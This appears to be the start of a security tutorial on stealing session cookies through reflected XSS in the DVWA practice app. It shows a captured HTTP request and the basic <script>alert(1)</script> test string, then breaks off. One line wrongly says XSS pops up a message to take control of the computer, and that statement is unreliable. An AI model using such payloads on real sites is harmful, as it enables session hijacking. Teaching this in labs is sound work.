Stealing session credentials using XSS

XSS is a vulnerability which can be used for many purposes. It launches a popup with a message to take control of the computer affected by the XSS. A common attack is to steal credentials or sessions using XSS.

Exploiting the vulnerability

Imagine we have the following vulnerable request, where the name parameter is vulnerable to XSS:

GET /dvwa/vulnerabilities/xss_r/?name=cosa HTTP/1.1 
Host: 192.168.1.72 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.1.72/dvwa/vulnerabilities/xss_r/ 
Connection: close 
Cookie: security=low; PHPSESSID=3nradmnli4kg61llf291t9ktn1 
Upgrade-Insecure-Requests: 1 

You can catch it with the Burp Suite's proxy, and modify the parameter's value using the common testing string, as follows:

<script>alert(1)</script>...